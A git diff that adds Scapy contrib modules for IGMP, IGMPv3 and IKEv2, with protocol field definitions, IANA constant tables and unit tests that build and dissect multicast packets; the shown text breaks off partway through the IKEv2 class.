+        gaddr = self.gaddr if hasattr(self, "gaddr") and self.gaddr else "0.0.0.0"
+        underlayer = self.underlayer
+        if not self.type in [0x11, 0x30]:                               # General Rule 1
+            self.mrcode = 0
+        if isinstance(underlayer, IP):
+            if (self.type == 0x11):
+                if (gaddr == "0.0.0.0"):
+                    underlayer.dst = "224.0.0.1"                        # IP rule 1
+                elif isValidMCAddr(gaddr):
+                    underlayer.dst = gaddr                              # IP rule 3a
+                else:
+                    warning("Invalid IGMP Group Address detected !")
+                    return False
+            elif ((self.type == 0x17) and isValidMCAddr(gaddr)):
+                underlayer.dst = "224.0.0.2"                           # IP rule 2
+            elif ((self.type == 0x12) or (self.type == 0x16)) and (isValidMCAddr(gaddr)):
+                underlayer.dst = gaddr                                 # IP rule 3b
+            else:
+                warning("Invalid IGMP Type detected !")
+                return False
+            if not any(isinstance(x, IPOption_Router_Alert) for x in underlayer.options):
+                underlayer.options.append(IPOption_Router_Alert())
+            _root = self.firstlayer()
+            if _root.haslayer(Ether):
+                # Force recalculate Ether dst
+                _root[Ether].dst = getmacbyip(underlayer.dst)          # Ether rule 1
+        from scapy.contrib.igmpv3 import IGMPv3
+        if isinstance(self, IGMPv3):
+            self.encode_maxrespcode()
+        return True
+
+    def mysummary(self):
+        """Display a summary of the IGMP object."""
+        if isinstance(self.underlayer, IP):
+            return self.underlayer.sprintf("IGMP: %IP.src% > %IP.dst% %IGMP.type% %IGMP.gaddr%")
+        else:
+            return self.sprintf("IGMP %IGMP.type% %IGMP.gaddr%")
+
+bind_layers( IP,            IGMP,            frag=0,
+                                             proto=2,
+                                             ttl=1)
diff --git a/scapy/contrib/igmp.uts b/scapy/contrib/igmp.uts
new file mode 100644
index 0000000..ee62828
--- /dev/null
+++ b/scapy/contrib/igmp.uts
@@ -0,0 +1,73 @@
+############
+% IGMP tests
+############
+
++ Basic IGMP tests
+
+= Build IGMP - Basic
+
+a=Ether(src="00:01:02:03:04:05")
+b=IP(src="1.2.3.4")
+c=IGMP(gaddr="0.0.0.0")
+x = a/b/c
+x[IGMP].igmpize()
+assert x.mrcode == 20
+assert x[IP].dst == "224.0.0.1"
+
+= Build IGMP - Custom membership
+
+a=Ether(src="00:01:02:03:04:05")
+b=IP(src="1.2.3.4")
+c=IGMP(gaddr="224.0.1.2")
+x = a/b/c
+x[IGMP].igmpize()
+assert x.mrcode == 20
+assert x[IP].dst == "224.0.1.2"
+
+= Build IGMP - LG
+
+a=Ether(src="00:01:02:03:04:05")
+b=IP(src="1.2.3.4")
+c=IGMP(type=0x17, gaddr="224.2.3.4")
+x = a/b/c
+x[IGMP].igmpize()
+assert x.dst == "01:00:5e:00:00:02"
+assert x.mrcode == 0
+assert x[IP].dst == "224.0.0.2"
+
+= Change IGMP params
+
+x = Ether(src="00:01:02:03:04:05")/IP()/IGMP()
+x[IGMP].igmpize()
+assert x.mrcode == 20
+assert x[IP].dst == "224.0.0.1"
+
+x = Ether(src="00:01:02:03:04:05")/IP()/IGMP(gaddr="224.2.3.4", type=0x12)
+x.mrcode = 1
+x[IGMP].igmpize()
+x = Ether(raw(x))
+assert x.mrcode == 0
+
+x.gaddr = "224.3.2.4"
+x[IGMP].igmpize()
+assert x.dst == "01:00:5e:03:02:04"
+
+= Test mysummary
+
+x = Ether(src="00:01:02:03:04:05")/IP(src="192.168.0.1")/IGMP(gaddr="224.0.0.2", type=0x17)
+x[IGMP].igmpize()
+assert x[IGMP].mysummary() == "IGMP: 192.168.0.1 > 224.0.0.2 Leave Group 224.0.0.2"
+
+assert IGMP().mysummary() == "IGMP Group Membership Query 0.0.0.0"
+
+= IGMP - misc
+~ netaccess
+
+x = Ether(src="00:01:02:03:04:05")/IP(dst="192.168.0.1")/IGMP(gaddr="www.google.fr", type=0x11)
+x = Ether(raw(x))
+assert not x[IGMP].igmpize()
+assert x[IP].dst == "192.168.0.1"
+
+x = Ether(src="00:01:02:03:04:05")/IP(dst="192.168.0.1")/IGMP(gaddr="124.0.2.1", type=0x00)
+assert not x[IGMP].igmpize()
+assert x[IP].dst == "192.168.0.1"
\ No newline at end of file
diff --git a/scapy/contrib/igmpv3.py b/scapy/contrib/igmpv3.py
new file mode 100644
index 0000000..c9ac5c2
--- /dev/null
+++ b/scapy/contrib/igmpv3.py
@@ -0,0 +1,172 @@
+#! /usr/bin/env python
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = IGMPv3
+# scapy.contrib.status = loads
+
+from __future__ import print_function
+from scapy.packet import *
+from scapy.fields import *
+from scapy.compat import orb
+from scapy.layers.inet import *
+from scapy.contrib.igmp import IGMP
+
+""" Based on the following references
+ http://www.iana.org/assignments/igmp-type-numbers
+ http://www.rfc-editor.org/rfc/pdfrfc/rfc3376.txt.pdf
+
+"""
+
+# See RFC3376, Section 4. Message Formats for definitions of proper IGMPv3 message format
+#   http://www.faqs.org/rfcs/rfc3376.html
+#
+# See RFC4286, For definitions of proper messages for Multicast Router Discovery.
+#   http://www.faqs.org/rfcs/rfc4286.html
+#
+
+class IGMPv3(IGMP):
+    """IGMP Message Class for v3.
+
+    This class is derived from class Packet. 
+    The fields defined below are a 
+    direct interpretation of the v3 Membership Query Message. 
+    Fields 'type'  through 'qqic' are directly assignable. 
+    For 'numsrc', do not assign a value. 
+    Instead add to the 'srcaddrs' list to auto-set 'numsrc'. To 
+    assign values to 'srcaddrs', use the following methods:
+      c = IGMPv3()
+      c.srcaddrs = ['1.2.3.4', '5.6.7.8']
+      c.srcaddrs += ['192.168.10.24']
+    At this point, 'c.numsrc' is three (3)
+
+    'chksum' is automagically calculated before the packet is sent.
+
+    'mrcode' is also the Advertisement Interval field
+
+    """
+    name = "IGMPv3"
+    igmpv3types = { 0x11 : "Membership Query",
+                    0x22 : "Version 3 Membership Report",
+                    0x30 : "Multicast Router Advertisement",
+                    0x31 : "Multicast Router Solicitation",
+                    0x32 : "Multicast Router Termination"}
+
+    fields_desc = [ ByteEnumField("type", 0x11, igmpv3types),
+                    ByteField("mrcode", 20),
+                    XShortField("chksum", None)]
+
+    def encode_maxrespcode(self):
+        """Encode and replace the mrcode value to its IGMPv3 encoded time value if needed,
+        as specified in rfc3376#section-4.1.1.
+
+        If value < 128, return the value specified. If >= 128, encode as a floating 
+        point value. Value can be 0 - 31744.
+        """
+        value = self.mrcode
+        if value < 128:
+            code = value
+        elif value > 31743:
+            code = 255
+        else:
+            exp=0
+            value>>=3
+            while(value>31):
+                exp+=1
+                value>>=1
+            exp<<=4
+            code = 0x80 | exp | (value & 0x0F)
+        self.mrcode = code
+
+
+    def mysummary(self):
+        """Display a summary of the IGMPv3 object."""
+        if isinstance(self.underlayer, IP):
+            return self.underlayer.sprintf("IGMPv3: %IP.src% > %IP.dst% %IGMPv3.type%")
+        else:
+            return self.sprintf("IGMPv3 %IGMPv3.type%")
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt and len(_pkt) >= 4:
+            if orb(_pkt[0]) in [0x12, 0x16, 0x17]:
+                return IGMP
+            elif orb(_pkt[0]) == 0x11 and len(_pkt) < 12:
+                return IGMP
+        return IGMPv3
+
+class IGMPv3mq(Packet):
+    """IGMPv3 Membership Query.
+    Payload of IGMPv3 when type=0x11"""
+    name = "IGMPv3mq"
+    fields_desc = [ IPField("gaddr", "0.0.0.0"),
+                    BitField("resv", 0, 4),
+                    BitField("s", 0, 1),
+                    BitField("qrv", 0, 3),
+                    ByteField("qqic",0),
+                    FieldLenField("numsrc", None, count_of="srcaddrs"),
+                    FieldListField("srcaddrs", None, IPField("sa", "0.0.0.0"), count_from=lambda x: x.numsrc)]
+
+class IGMPv3gr(Packet):
+    """IGMP Group Record for IGMPv3 Membership Report
+
+    This class is derived from class Packet and should be added in the records
+    of an instantiation of class IGMPv3mr.
+    """
+    name = "IGMPv3gr"
+    igmpv3grtypes = { 1 : "Mode Is Include",
+                      2 : "Mode Is Exclude",
+                      3 : "Change To Include Mode",
+                      4 : "Change To Exclude Mode",
+                      5 : "Allow New Sources",
+                      6 : "Block Old Sources"}
+
+    fields_desc = [ ByteEnumField("rtype", 1, igmpv3grtypes),
+                    ByteField("auxdlen",0),
+                    FieldLenField("numsrc", None, count_of="srcaddrs"),
+                    IPField("maddr", "0.0.0.0"),
+                    FieldListField("srcaddrs", [], IPField("sa", "0.0.0.0"), count_from=lambda x: x.numsrc) ]
+
+    def mysummary(self):
+        """Display a summary of the IGMPv3 group record."""
+        return self.sprintf("IGMPv3 Group Record %IGMPv3gr.type% %IGMPv3gr.maddr%")
+
+    def default_payload_class(self, payload):
+        return conf.padding_layer
+
+class IGMPv3mr(Packet):
+    """IGMP Membership Report extension for IGMPv3.
+    Payload of IGMPv3 when type=0x22"""
+    name = "IGMPv3mr"
+    fields_desc = [ XShortField("res2", 0),
+                    FieldLenField("numgrp", None, count_of="records"),
+                    PacketListField("records", [], IGMPv3gr, count_from=lambda x: x.numgrp)]
+
+class IGMPv3mra(Packet):
+    """IGMP Multicas Router Advertisement extension for IGMPv3.
+    Payload of IGMPv3 when type=0x30"""
+    name = "IGMPv3mra"
+    fields_desc = [ ShortField("qryIntvl", 0),
+                    ShortField("robust", 0)]
+
+bind_layers(IP,       IGMPv3,   frag=0,
+                                proto=2,
+                                ttl=1,
+                                tos=0xc0,
+                                dst='224.0.0.22')
+
+bind_layers(IGMPv3,   IGMPv3mq, type=0x11)
+bind_layers(IGMPv3,   IGMPv3mr, type=0x22, mrcode=0x0)
+bind_layers(IGMPv3,   IGMPv3mra, type=0x30)
diff --git a/scapy/contrib/igmpv3.uts b/scapy/contrib/igmpv3.uts
new file mode 100644
index 0000000..4ae0964
--- /dev/null
+++ b/scapy/contrib/igmpv3.uts
@@ -0,0 +1,56 @@
+##############
+% IGMPv3 tests
+##############
+
++ Basic IGMPv3 tests
+
+= Build IGMPv3 - Basic
+
+a=Ether(src="00:01:02:03:04:05")
+b=IP(src="1.2.3.4")
+c=IGMPv3(mrcode=154)/IGMPv3mq()
+x = a/b/c
+x[IGMPv3].igmpize()
+assert x.mrcode == 131
+assert x[IP].dst == "224.0.0.1"
+assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3)
+
+= Dissect IGMPv3 - IGMPv3mq
+
+x = Ether(b'\x14\x0cv\x8f\xfe(\x00\x01\x02\x03\x04\x05\x08\x00F\xc0\x00$\x00\x01\x00\x00\x01\x02\xe4h\xc0\xa8\x00\x01\xe0\x00\x00\x16\x94\x04\x00\x00\x11\x14\x0e\xe9\xe6\x00\x00\x02\x00\x00\x00\x00')
+assert IGMPv3 in x
+assert IGMPv3mq in x
+assert x[IGMPv3mq].gaddr == "230.0.0.2"
+assert x.summary() == "Ether / IP / IGMPv3: 192.168.0.1 > 224.0.0.22 Membership Query / IGMPv3mq"
+assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3)
+
+= Dissect IGMPv3 - IGMPv3mr
+
+x = Ether(b'\x01\x00^\x00\x00\x16\xa8\xf9K\x00\x00\x01\x08\x00E\xc0\x00D\x00\x01\x00\x00\x01\x02\xd6\xdf\x01\x01\x01\x01\xe0\x00\x00\x16"\x00;\xa6\x00\x00\x00\x04\x01\x00\x00\x02\xe6\x00\x00\x00\xc0\xa8\x00\x01\xc0\xa8\x84\xf7\x01\x00\x00\x00\xe6\x00\x00\x01\x01\x00\x00\x00\xe6\x00\x00\x02\x01\x00\x00\x00\xe6\x00\x00\x03')
+assert IGMPv3 in x
+assert IGMPv3mr in x
+assert len(x[IGMPv3mr].records) == 4
+assert x[IGMPv3mr].records[0].srcaddrs == ["192.168.0.1", "192.168.132.247"]
+assert x[IGMPv3mr].records[1].maddr == "230.0.0.1"
+assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3)
+
+= Dissect IGMPv3 - IGMPv3mra
+
+x = Ether(b'\x14\x0cv\x8f\xfe(\x00\x01\x02\x03\x04\x05\x08\x00F\xc0\x00 \x00\x01\x00\x00\x01\x02\xe4l\xc0\xa8\x00\x01\x7f\x00\x00\x01\x94\x04\x00\x000\x14\xcf\xe6\x00\x03\x00\x02')
+assert IGMPv3 in x
+assert IGMPv3mra in x
+assert x[IGMPv3mra].qryIntvl == 3
+assert x[IGMPv3mra].robust == 2
+assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3)
+
+= IGMP vs IVMPv3 tests
+
+assert isinstance(IGMPv3(raw(IGMP())), IGMP)
+assert isinstance(IGMPv3(raw(IGMP(type=0x11))), IGMP)
+assert isinstance(IGMP(raw(IGMPv3()/IGMPv3mra())), IGMPv3)
+assert isinstance(IGMP(raw(IGMPv3()/IGMPv3mq())), IGMPv3)
+
+= IGMPv3 - summaries
+
+pkt = IGMPv3()/IGMPv3mr(records=[IGMPv3gr(maddr="127.0.0.1")])
+assert pkt.summary() == 'IGMPv3 Version 3 Membership Report / IGMPv3mr'
diff --git a/scapy/contrib/ikev2.py b/scapy/contrib/ikev2.py
new file mode 100644
index 0000000..87759cb
--- /dev/null
+++ b/scapy/contrib/ikev2.py
@@ -0,0 +1,772 @@
+#!/usr/bin/env python
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = IKEv2
+# scapy.contrib.status = loads
+
+import logging
+import struct
+
+
+## Modified from the original ISAKMP code by Yaron Sheffer <yaronf.ietf@gmail.com>, June 2010.
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet6 import *
+from scapy.layers.x509 import X509_Cert, X509_CRL
+from scapy.ansmachine import *
+from scapy.layers.inet import IP,UDP
+from scapy.layers.isakmp import ISAKMP
+from scapy.sendrecv import sr
+
+# see http://www.iana.org/assignments/ikev2-parameters for details
+IKEv2AttributeTypes= { "Encryption":    (1, { "DES-IV64"  : 1,
+                                                "DES" : 2,
+                                                "3DES" : 3,
+                                                "RC5" : 4,
+                                                "IDEA" : 5,
+                                                "CAST" : 6,
+                                                "Blowfish" : 7,
+                                                "3IDEA" : 8,
+                                                "DES-IV32" : 9,
+                                                "AES-CBC" : 12,
+                                                "AES-CTR" : 13,
+                                                "AES-CCM-8" : 14,
+                                                "AES-CCM-12" : 15,
+                                                "AES-CCM-16" : 16,
+                                                "AES-GCM-8ICV" : 18,
+                                                "AES-GCM-12ICV" : 19,
+                                                "AES-GCM-16ICV" : 20,
+                                                "Camellia-CBC" : 23,
+                                                "Camellia-CTR" : 24,
+                                                "Camellia-CCM-8ICV" : 25,
+                                                "Camellia-CCM-12ICV" : 26,
+                                                "Camellia-CCM-16ICV" : 27,
+                                        }, 0),
+                         "PRF":            (2, {"PRF_HMAC_MD5":1,
+                                                "PRF_HMAC_SHA1":2,
+                                                "PRF_HMAC_TIGER":3,
+                                                "PRF_AES128_XCBC":4,
+                                                "PRF_HMAC_SHA2_256":5,
+                                                "PRF_HMAC_SHA2_384":6,
+                                                "PRF_HMAC_SHA2_512":7,
+                                                "PRF_AES128_CMAC":8,
+                                       }, 0),
+                         "Integrity":    (3, { "HMAC-MD5-96": 1,
+                                                "HMAC-SHA1-96": 2,
+                                                "DES-MAC": 3,
+                                                "KPDK-MD5": 4,
+                                                "AES-XCBC-96": 5,
+                                                "HMAC-MD5-128": 6,
+                                                "HMAC-SHA1-160": 7,
+                                                "AES-CMAC-96": 8,
+                                                "AES-128-GMAC": 9,
+                                                "AES-192-GMAC": 10,
+                                                "AES-256-GMAC": 11,
+                                                "SHA2-256-128": 12,
+                                                "SHA2-384-192": 13,
+                                                "SHA2-512-256": 14,
+                                        }, 0),
+                         "GroupDesc":     (4, { "768MODPgr"  : 1,
+                                                "1024MODPgr" : 2,
+                                                "1536MODPgr" : 5,
+                                                "2048MODPgr" : 14,
+                                                "3072MODPgr" : 15,
+                                                "4096MODPgr" : 16,
+                                                "6144MODPgr" : 17,
+                                                "8192MODPgr" : 18,
+                                                "256randECPgr" : 19,
+                                                "384randECPgr" : 20,
+                                                "521randECPgr" : 21,
+                                                "1024MODP160POSgr"  : 22,
+                                                "2048MODP224POSgr"  : 23,
+                                                "2048MODP256POSgr"  : 24,
+                                                "192randECPgr" : 25,
+                                                "224randECPgr" : 26,
+                                        }, 0),
+                         "Extended Sequence Number":       (5, {"No ESN":     0,
+                                                 "ESN":   1,  }, 0),
+                         }
+
+IKEv2AuthenticationTypes = {
+    0 : "Reserved",
+    1 : "RSA Digital Signature",
+    2 : "Shared Key Message Integrity Code",
+    3 : "DSS Digital Signature",
+    9 : "ECDSA with SHA-256 on the P-256 curve",
+    10 : "ECDSA with SHA-384 on the P-384 curve",
+    11 : "ECDSA with SHA-512 on the P-521 curve",
+    12 : "Generic Secure Password Authentication Method",
+    13 : "NULL Authentication",
+    14 : "Digital Signature"
+}
+
+IKEv2NotifyMessageTypes = {
+    1 : "UNSUPPORTED_CRITICAL_PAYLOAD",
+    4 : "INVALID_IKE_SPI",
+    5 : "INVALID_MAJOR_VERSION",
+    7 : "INVALID_SYNTAX",
+    9 : "INVALID_MESSAGE_ID",
+    11 : "INVALID_SPI",
+    14 : "NO_PROPOSAL_CHOSEN",
+    17 : "INVALID_KE_PAYLOAD",
+    24 : "AUTHENTICATION_FAILED",
+    34 : "SINGLE_PAIR_REQUIRED",
+    35 : "NO_ADDITIONAL_SAS",
+    36 : "INTERNAL_ADDRESS_FAILURE",
+    37 : "FAILED_CP_REQUIRED",
+    38 : "TS_UNACCEPTABLE",
+    39 : "INVALID_SELECTORS",
+    40 : "UNACCEPTABLE_ADDRESSES",
+    41 : "UNEXPECTED_NAT_DETECTED",
+    42 : "USE_ASSIGNED_HoA",
+    43 : "TEMPORARY_FAILURE",
+    44 : "CHILD_SA_NOT_FOUND",
+    45 : "INVALID_GROUP_ID",
+    46 : "AUTHORIZATION_FAILED",
+    16384 : "INITIAL_CONTACT",
+    16385 : "SET_WINDOW_SIZE",
+    16386 : "ADDITIONAL_TS_POSSIBLE",
+    16387 : "IPCOMP_SUPPORTED",
+    16388 : "NAT_DETECTION_SOURCE_IP",
+    16389 : "NAT_DETECTION_DESTINATION_IP",
+    16390 : "COOKIE",
+    16391 : "USE_TRANSPORT_MODE",
+    16392 : "HTTP_CERT_LOOKUP_SUPPORTED",
+    16393 : "REKEY_SA",
+    16394 : "ESP_TFC_PADDING_NOT_SUPPORTED",
+    16395 : "NON_FIRST_FRAGMENTS_ALSO",
+    16396 : "MOBIKE_SUPPORTED",
+    16397 : "ADDITIONAL_IP4_ADDRESS",
+    16398 : "ADDITIONAL_IP6_ADDRESS",
+    16399 : "NO_ADDITIONAL_ADDRESSES",
+    16400 : "UPDATE_SA_ADDRESSES",
+    16401 : "COOKIE2",
+    16402 : "NO_NATS_ALLOWED",
+    16403 : "AUTH_LIFETIME",
+    16404 : "MULTIPLE_AUTH_SUPPORTED",
+    16405 : "ANOTHER_AUTH_FOLLOWS",
+    16406 : "REDIRECT_SUPPORTED",
+    16407 : "REDIRECT",
+    16408 : "REDIRECTED_FROM",
+    16409 : "TICKET_LT_OPAQUE",
+    16410 : "TICKET_REQUEST",
+    16411 : "TICKET_ACK",
+    16412 : "TICKET_NACK",
+    16413 : "TICKET_OPAQUE",
+    16414 : "LINK_ID",
+    16415 : "USE_WESP_MODE",
+    16416 : "ROHC_SUPPORTED",
+    16417 : "EAP_ONLY_AUTHENTICATION",
+    16418 : "CHILDLESS_IKEV2_SUPPORTED",
+    16419 : "QUICK_CRASH_DETECTION",
+    16420 : "IKEV2_MESSAGE_ID_SYNC_SUPPORTED",
+    16421 : "IPSEC_REPLAY_COUNTER_SYNC_SUPPORTED",
+    16422 : "IKEV2_MESSAGE_ID_SYNC",
+    16423 : "IPSEC_REPLAY_COUNTER_SYNC",
+    16424 : "SECURE_PASSWORD_METHODS",
+    16425 : "PSK_PERSIST",
+    16426 : "PSK_CONFIRM",
+    16427 : "ERX_SUPPORTED",
+    16428 : "IFOM_CAPABILITY",
+    16429 : "SENDER_REQUEST_ID",
+    16430 : "IKEV2_FRAGMENTATION_SUPPORTED",
+    16431 : "SIGNATURE_HASH_ALGORITHMS",
+    16432 : "CLONE_IKE_SA_SUPPORTED",
+    16433 : "CLONE_IKE_SA"
+}
+
+IKEv2CertificateEncodings = {
+    1 : "PKCS #7 wrapped X.509 certificate",
+    2 : "PGP Certificate",
+    3 : "DNS Signed Key",
+    4 : "X.509 Certificate - Signature",
+    6 : "Kerberos Token",
+    7 : "Certificate Revocation List (CRL)",
+    8 : "Authority Revocation List (ARL)",
+    9 : "SPKI Certificate",
+    10 : "X.509 Certificate - Attribute",
+    11 : "Raw RSA Key",
+    12 : "Hash and URL of X.509 certificate",
+    13 : "Hash and URL of X.509 bundle"
+}
+
+IKEv2TrafficSelectorTypes = {
+    7 : "TS_IPV4_ADDR_RANGE",
+    8 : "TS_IPV6_ADDR_RANGE",
+    9 : "TS_FC_ADDR_RANGE"
+}
+
+IPProtocolIDs = {
+    0 : "All protocols",
+    1 : "Internet Control Message Protocol",
+    2 : "Internet Group Management Protocol",
+    3 : "Gateway-to-Gateway Protocol",
+    4 : "IP in IP (encapsulation)",
+    5 : "Internet Stream Protocol",
+    6 : "Transmission Control Protocol",
+    7 : "Core-based trees",
+    8 : "Exterior Gateway Protocol",
+    9 : "Interior Gateway Protocol (any private interior gateway (used by Cisco for their IGRP))",
+    10 : "BBN RCC Monitoring",
+    11 : "Network Voice Protocol",
+    12 : "Xerox PUP",
+    13 : "ARGUS",
+    14 : "EMCON",
+    15 : "Cross Net Debugger",
+    16 : "Chaos",
+    17 : "User Datagram Protocol",
+    18 : "Multiplexing",
+    19 : "DCN Measurement Subsystems",
+    20 : "Host Monitoring Protocol",
+    21 : "Packet Radio Measurement",
+    22 : "XEROX NS IDP",
+    23 : "Trunk-1",
+    24 : "Trunk-2",
+    25 : "Leaf-1",
+    26 : "Leaf-2",
+    27 : "Reliable Datagram Protocol",
+    28 : "Internet Reliable Transaction Protocol",
+    29 : "ISO Transport Protocol Class 4",
+    30 : "Bulk Data Transfer Protocol",
+    31 : "MFE Network Services Protocol",
+    32 : "MERIT Internodal Protocol",
+    33 : "Datagram Congestion Control Protocol",
+    34 : "Third Party Connect Protocol",
+    35 : "Inter-Domain Policy Routing Protocol",
+    36 : "Xpress Transport Protocol",
+    37 : "Datagram Delivery Protocol",
+    38 : "IDPR Control Message Transport Protocol",
+    39 : "TP++ Transport Protocol",
+    40 : "IL Transport Protocol",
+    41 : "IPv6 Encapsulation",
+    42 : "Source Demand Routing Protocol",
+    43 : "Routing Header for IPv6",
+    44 : "Fragment Header for IPv6",
+    45 : "Inter-Domain Routing Protocol",
+    46 : "Resource Reservation Protocol",
+    47 : "Generic Routing Encapsulation",
+    48 : "Mobile Host Routing Protocol",
+    49 : "BNA",
+    50 : "Encapsulating Security Payload",
+    51 : "Authentication Header",
+    52 : "Integrated Net Layer Security Protocol",
+    53 : "SwIPe",
+    54 : "NBMA Address Resolution Protocol",
+    55 : "IP Mobility (Min Encap)",
+    56 : "Transport Layer Security Protocol (using Kryptonet key management)",
+    57 : "Simple Key-Management for Internet Protocol",
+    58 : "ICMP for IPv6",
+    59 : "No Next Header for IPv6",
+    60 : "Destination Options for IPv6",
+    61 : "Any host internal protocol",
+    62 : "CFTP",
+    63 : "Any local network",
+    64 : "SATNET and Backroom EXPAK",
+    65 : "Kryptolan",
+    66 : "MIT Remote Virtual Disk Protocol",
+    67 : "Internet Pluribus Packet Core",
+    68 : "Any distributed file system",
+    69 : "SATNET Monitoring",
+    70 : "VISA Protocol",
+    71 : "Internet Packet Core Utility",
+    72 : "Computer Protocol Network Executive",
+    73 : "Computer Protocol Heart Beat",
+    74 : "Wang Span Network",
+    75 : "Packet Video Protocol",
+    76 : "Backroom SATNET Monitoring",
+    77 : "SUN ND PROTOCOL-Temporary",
+    78 : "WIDEBAND Monitoring",
+    79 : "WIDEBAND EXPAK",
+    80 : "International Organization for Standardization Internet Protocol",
+    81 : "Versatile Message Transaction Protocol",
+    82 : "Secure Versatile Message Transaction Protocol",
+    83 : "VINES",
+    84 : "Internet Protocol Traffic Manager",
+    85 : "NSFNET-IGP",
+    86 : "Dissimilar Gateway Protocol",
+    87 : "TCF",
+    88 : "EIGRP",
+    89 : "Open Shortest Path First",
+    90 : "Sprite RPC Protocol",
+    91 : "Locus Address Resolution Protocol",
+    92 : "Multicast Transport Protocol",
+    93 : "AX.25",
+    94 : "IP-within-IP Encapsulation Protocol",
+    95 : "Mobile Internetworking Control Protocol",
+    96 : "Semaphore Communications Sec. Pro",
+    97 : "Ethernet-within-IP Encapsulation",
+    98 : "Encapsulation Header",
+    99 : "Any private encryption scheme",
+    100 : "GMTP",
+    101 : "Ipsilon Flow Management Protocol",
+    102 : "PNNI over IP",
+    103 : "Protocol Independent Multicast",
+    104 : "IBM's ARIS (Aggregate Route IP Switching) Protocol",
+    105 : "SCPS (Space Communications Protocol Standards)",
+    106 : "QNX",
+    107 : "Active Networks",
+    108 : "IP Payload Compression Protocol",
+    109 : "Sitara Networks Protocol",
+    110 : "Compaq Peer Protocol",
+    111 : "IPX in IP",
+    112 : "Virtual Router Redundancy Protocol, Common Address Redundancy Protocol (not IANA assigned)",
+    113 : "PGM Reliable Transport Protocol",
+    114 : "Any 0-hop protocol",
+    115 : "Layer Two Tunneling Protocol Version 3",
+    116 : "D-II Data Exchange (DDX)",
+    117 : "Interactive Agent Transfer Protocol",
+    118 : "Schedule Transfer Protocol",
+    119 : "SpectraLink Radio Protocol",
+    120 : "Universal Transport Interface Protocol",
+    121 : "Simple Message Protocol",
+    122 : "Simple Multicast Protocol",
+    123 : "Performance Transparency Protocol",
+    124 : "Intermediate System to Intermediate System (IS-IS) Protocol over IPv4",
+    125 : "Flexible Intra-AS Routing Environment",
+    126 : "Combat Radio Transport Protocol",
+    127 : "Combat Radio User Datagram",
+    128 : "Service-Specific Connection-Oriented Protocol in a Multilink and Connectionless Environment",
+    129 : "IPLT",
+    130 : "Secure Packet Shield",
+    131 : "Private IP Encapsulation within IP",
+    132 : "Stream Control Transmission Protocol",
+    133 : "Fibre Channel",
+    134 : "Reservation Protocol (RSVP) End-to-End Ignore",
+    135 : "Mobility Extension Header for IPv6",
+    136 : "Lightweight User Datagram Protocol",
+    137 : "Multiprotocol Label Switching Encapsulated in IP",
+    138 : "MANET Protocols",
+    139 : "Host Identity Protocol",
+    140 : "Site Multihoming by IPv6 Intermediation",
+    141 : "Wrapped Encapsulating Security Payload",
+    142 : "Robust Header Compression",
+}
+
+# the name 'IKEv2TransformTypes' is actually a misnomer (since the table 
+# holds info for all IKEv2 Attribute types, not just transforms, but we'll 
+# keep it for backwards compatibility... for now at least
+IKEv2TransformTypes = IKEv2AttributeTypes
+
+IKEv2TransformNum = {}
+for n in IKEv2TransformTypes:
+    val = IKEv2TransformTypes[n]
+    tmp = {}
+    for e in val[1]:
+        tmp[val[1][e]] = e
+    IKEv2TransformNum[val[0]] = tmp
+
+IKEv2Transforms = {}
+for n in IKEv2TransformTypes:
+    IKEv2Transforms[IKEv2TransformTypes[n][0]]=n
+
+del(n)
+del(e)
+del(tmp)
+del(val)
+
+# Note: Transform and Proposal can only be used inside the SA payload
+IKEv2_payload_type = ["None", "", "Proposal", "Transform"]
+
+IKEv2_payload_type.extend([""] * 29)
+IKEv2_payload_type.extend(["SA","KE","IDi","IDr", "CERT","CERTREQ","AUTH","Nonce","Notify","Delete",
+                       "VendorID","TSi","TSr","Encrypted","CP","EAP", "", "", "", "", "Encrypted Fragment"])
+
+IKEv2_exchange_type = [""] * 34
+IKEv2_exchange_type.extend(["IKE_SA_INIT","IKE_AUTH","CREATE_CHILD_SA",
+                        "INFORMATIONAL", "IKE_SESSION_RESUME"])
+
+
+class IKEv2_class(Packet):
+    def guess_payload_class(self, payload):
+        np = self.next_payload
+        logging.debug("For IKEv2_class np=%d" % np)
+        if np == 0:
+            return conf.raw_layer
+        elif np < len(IKEv2_payload_type):
+            pt = IKEv2_payload_type[np]
+            logging.debug(globals().get("IKEv2_payload_%s" % pt, IKEv2_payload))
+            return globals().get("IKEv2_payload_%s" % pt, IKEv2_payload)
+        else:
+            return IKEv2_payload
+
+
+class IKEv2(IKEv2_class): # rfc4306
+    name = "IKEv2"
+    fields_desc = [
+        StrFixedLenField("init_SPI","",8),
+        StrFixedLenField("resp_SPI","",8),
+        ByteEnumField("next_payload",0,IKEv2_payload_type),
+        XByteField("version", 0x20),
+        ByteEnumField("exch_type",0,IKEv2_exchange_type),
+        FlagsField("flags",0, 8, ["res0","res1","res2","Initiator","Version","Response","res6","res7"]),
+        IntField("id",0),
+        IntField("length",None) # Length of total message: packets + all payloads
+        ]
+
+    def guess_payload_class(self, payload):
+        if self.flags & 1:
+            return conf.raw_layer
+        return IKEv2_class.guess_payload_class(self, payload)
+
+    def answers(self, other):
+        if isinstance(other, IKEv2):
+            if other.init_SPI == self.init_SPI:
+                return 1
+        return 0
+    def post_build(self, p, pay):
+        p += pay
+        if self.length is None:
